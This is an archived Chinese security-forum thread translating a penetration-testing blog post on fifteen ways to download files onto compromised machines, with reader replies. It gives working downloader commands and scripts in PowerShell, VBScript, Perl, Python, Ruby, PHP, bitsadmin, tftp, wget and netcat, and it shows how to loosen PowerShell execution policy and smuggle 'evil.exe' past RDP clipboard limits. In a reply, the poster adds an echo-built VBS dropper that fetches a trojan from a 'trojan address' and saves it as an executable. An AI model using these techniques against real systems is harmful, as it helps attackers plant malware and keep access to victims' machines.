Select Browser Mobile | Continue

Silic Group Froum Archive - Silic Security

 Forgot Password?
 Join Us
Search
Show: 3335|Reply: 11

[翻译] 十五种下载文件的方法

  [Copy URL]
heiben The user has been deleted
Posted 2014-12-3 23:35:04 | Show all replies |Read Mode
本帖最后由 heiben 于 2014-12-4 22:42 编辑

原文地址:https://blog.netspi.com/15-ways-to-download-a-file/
原作者:Ryan Gandrud
中英对照:http://yunpan.cn/cAajffiRhv8PE  提取码 7dd5
【译/heiben】
渗透测试人员经常上传文件到缺乏抵抗力的箱子(易受攻击的机子)帮助提权去维持访问。这篇博文将覆盖15种不同的方法将文件移到那些机子上去。对渗透测试人员来说是有趣的,需要post-exploit选项,系统管理员只想移动文件。
在渗透测试中还有其他很多的方法去移动文件,但这些列表包括了一些我最喜欢的。下面是文件传输技术的汇总。
注意:众多被列出的技术也应被看作SQL注入时执行命令的选项。多行步骤,ECHO命令到一个文件然后执行它。
PowerShell 文件下载
Powershell是一种被管理员忽视的威胁的脚本。然而,它可以提供大量的选项和功能给一些知道怎么使用它的人。最大的好处是原产于Windows Server 2003。下面是一个简单的脚本例子可以用来从互联网的web服务器下下载文件到本地系统。
  1. $p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file" "C:%homepath%file")
Copy
要执行脚本,在powershell命令行输入以下命令:
  1. PS C:> .test.ps1
Copy
有时,Powershell执行策略设置过严。在这种情况下,你将无法通过Powelshell执行命令或者脚本。除非你只是使用以下命令设置无限制使用:
C:>powershell set-executionpolicy unrestricted
Visual Basic 文件下载
Visual Basic的最终标准版本自Windows机器1998年。下面的脚本可以下载一个你选择的文件。然而,VB生成的比Powershell大得多。
  1. Set args = Wscript.Arguments Url = "http://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm     .type = 1 '     .open     .write xHttp.responseBody     .savetofile " C:%homepath%file", 2 ' end with
Copy
Cscript是命令行窗口脚本主机,允许你通过命令行选项和允许你设置脚本属性。没必要在Windows 7和其他可能上运行VBS脚本,但使用脚本可以在Windows XP或以上运行。
要执行该脚本,需要运行下面的命令。
  1. C:>cscript test.vbs
Copy
以下四种是非Windows原生的语言。然而,如果你发现有一台机器安装了其中任何一种语言(无论是什么操作系统)你都可以利用这些脚本下载文件。
Perl 文件下载
Perl是一种全能型脚本语言,几乎可以做任何事情。用Perl非常容易下载文件到本地主机。
  1. #!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file");
Copy
要执行该脚本,只需在命令行运行下列命令:
[email protected]:~# perl test.pl
Python 文件下载
Python是一种通用的脚本语言,强调语言的可读性。与大多数脚本语言一样,其目标是编写比所需编程语言更少的代码,同时还能完成预期的任务。
  1. #!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()
Copy
要执行该脚本,在命令行中输入下列命令:
  1. [email protected]:~# python test.py
Copy
Ruby 文件下载
Ruby是一种面向对象的编程语言,可用于从创建框架(如Metasploit)做许多事情,比如,下载文件。
  1. #!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }
Copy

要执行该脚本,在命令行中输入下列命令:
  1. [email protected]:~# ruby test.rb
Copy
PHP 文件下载
PHP通常用于web开发的服务端脚本语言,但是也可以用来作为通用的脚本语言。
  1. #!/usr/bin/php <?php         $data = @file("http://example.com/file");         $lf = "local_file";         $fh = fopen($lf, 'w');         fwrite($fh, $data[0]);         fclose($fh); ?>
Copy
要执行该脚本,在命令行中运行下列命令:
  1. [email protected]:~# php test.php
Copy
剩下移动文件到目标机器的方法是通过本地操作系统的功能,除非另有注明。其中一些比别人需要更多的步骤,但在不同的场景可以绕过某些限制。
FTP 文件下载
这种方法,攻击者需输入(ECHO)FTP命令到bash脚本,因为它通常需要与用户交互输入用户名和密码。Bash脚本可以运行所有步骤而不需要交互。
  1. ftp 127.0.0.1 username password get file exit
Copy
TFTP 文件下载
简单文件传输协议是Windows Vista以下版本默认配置的。请注意,你必须设置相应的服务器连接。可以运行下列命令:
  1. tftp -i host GET C:%homepath%file location_of_file_on_tftp_server
Copy
Bitsadmin 文件下载
Bitsadmin是Windows命令行工具,它允许用户创建上传下载任务。
  1. bitsadmin /transfer n http://domain/file c:%homepath%file
Copy
Wget 文件下载
Wget是Linux和Windows的一款允许非交互式下载的工具。
  1. wget http://example.com/file
Copy
Netcat 文件下载
Netcat能允许下载文件通过连接到一个指定监听端口,将文件的内容封装在连接上。注意这个例子是在Linux下指定的。
攻击者电脑上输入:
  1. cat file | nc -l 1234
Copy
这将打印文件的内容到1234。然后,每当有人连接到端口,文件的内容将被发送到连接的IP。
下列命令应该在攻击者的目标机器上运行:
  1. nc host_ip 1234 > file
Copy
这将连接目标到攻击者的电脑并通过连接接受文件。
Windows 共享文件下载
Windows共享可以被映射为驱动盘,文件可以被随后的复制命令中复制。
映射一个远程驱动盘,输入:
  1. net use x: \127.0.0.1share /user:example.comuserID myPassword
Copy
记事本对话框下载
如果你可以访问(RDP,物理等)机器,但你的用户权限无法打开一个web浏览器,这个技巧可以使你快速的从一个URL或者UNC(通用命名约定)路径下载一个文件。当你打破了在终端中原本被锁定的应用这也很有效。
1. 打开记事本
2.  文件-打开
3.   在文件名按钮附近,输入完整的URL地址。
记事本会为你将这个文件的内容拿下。
Exe 转 Txt, 然后 Txt 转 Exe with PowerShell and Nishang
这可能是我尝试移动一个exe文件到另一台机时最喜欢用的工具之一。Nishang允许你转换一个exe为hex(十六进制),然后使用Powershell重新组装hex为原始的exe文件。我看过组策略不允许RDP剪切板传输exe文件。尽管提供了基本的保护,但有时依然允许通过剪切板复制文本的能力。在这个情境中,你将能够复制整个Nishang Powershell的源码到机子并重命名扩展名为.ps1。你可将Nishang脚本改名为Texttoexe.ps1(建议改为txt2exe.ps1),仅仅只有8行。你可以从这里下载Nishang。
转换exe为hex输入:
  1. PS > .ExetoText.ps1 evil.exe evil.txt
Copy
打开exil.txt文件并复制内容。然后粘贴内容到目标机子的RDP剪切板上。Nishang的texttoexe.ps1文件内容也用同样的方法拷贝过去。
将十六进制转换成exe文件,输入:
  1. PS > .TexttoExe.ps1 evil.text evil.exe
Copy
这将允许你成功的将邪恶的exe文件拷贝到目标机器上。

Csc.exe 编译源文件

C#编译器(csc)是一款命令行编译器,内置在Windows系统的Microsoft .NET安装包内。如果你无法复制一个可执行文件但可以复制文本这可能就有用了。使用这种方法,结合SQL注入,可以移动一个exe文件到主机而无需绕过出口过滤或身份认证代理可能会阻止出站连接。
可执行文件的默认位置:
C:\Windows\Microsoft.NET Frameworkversion
使用下面的示例代码:字数限制。剩余部分请看网盘别扔鸡蛋。
Fiend The user has been deleted
Posted 2014-12-4 10:22:51 | Show all replies
沙发,感觉好高大上,但是小菜我不知道该如何操作,
heiben The user has been deleted
 Author| Posted 2014-12-4 22:46:02 | Show all replies
本帖最后由 heiben 于 2014-12-4 22:51 编辑

Cscript的话就如下(百度“VBS下载”就很多):
echo Dim obj1,obj2 >c:1.vbs
echo Dim url >>c:1.vbs
echo url="木马地址"  >>c:1.vbs
echo Set obj1=createObject("msxml2.xmlhttp") >>c:1.vbs
echo Set obj2=CreateObject("adodb.stream") >>c:1.vbs
echo obj1.open "get",url,False >>c:1.vbs
echo obj1.send >>c:1.vbs
echo temp=obj1.responseBody >>c:1.vbs
echo obj2.Type=1 >>c:1.vbs
echo obj2.Mode=3 >>c:1.vbs
echo obj2.Open() >>c:1.vbs
echo obj2.Write(temp) >>c:1.vbs
echo obj2.SaveToFile "c:\mm.exe",2 >>c:1.vbs
echo obj2.close >>c:1.vbs
echo Set obj1=Nothing >>c:1.vbs
nageshanzei The user has been deleted
Posted 2014-12-5 08:23:54 | Show all replies
标记留名   
super The user has been deleted
Posted 2014-12-5 14:23:20 | Show all replies
英语帝啊 膜拜
abvz The user has been deleted
Posted 2014-12-6 11:15:59 | Show all replies
网盘东西不少,多学习,就能防止被蔡,被黑
Posted 2014-12-6 14:02:46 | Show all replies
还是文档看起来有味道,感谢分享
qingwu The user has been deleted
Posted 2014-12-7 22:04:45 | Show all replies
顶起~~~~~~~~~~~~~~~~~~~~~~~~~~
nageshanzei The user has been deleted
Posted 2014-12-9 16:10:30 | Show all replies
非常感谢楼主的 分享!!!
flighthigh The user has been deleted
Posted 2014-12-11 16:09:55 | Show all replies
学习了,果然好东西
silence44 The user has been deleted
Posted 2015-10-22 08:54:33 | Show all replies
长知识了。。。
木飞飞 The user has been deleted
Posted 2015-10-27 21:20:33 | Show all replies
感觉应该很方便操作。但是看了以后,觉得- -并不会。

如果我没有下载的时候,它是PDF文件,也能够直接下载下来么
You need to login before reply! Login | Join Us

Credit Rules of This Forum

Close

公告Privious /1 Next

小黑屋|手机版|Archiver|Silic Security

GMT+8, 2019-10-16 11:22

© 2001-2014 Silic Corp.

Quick Reply Top Return List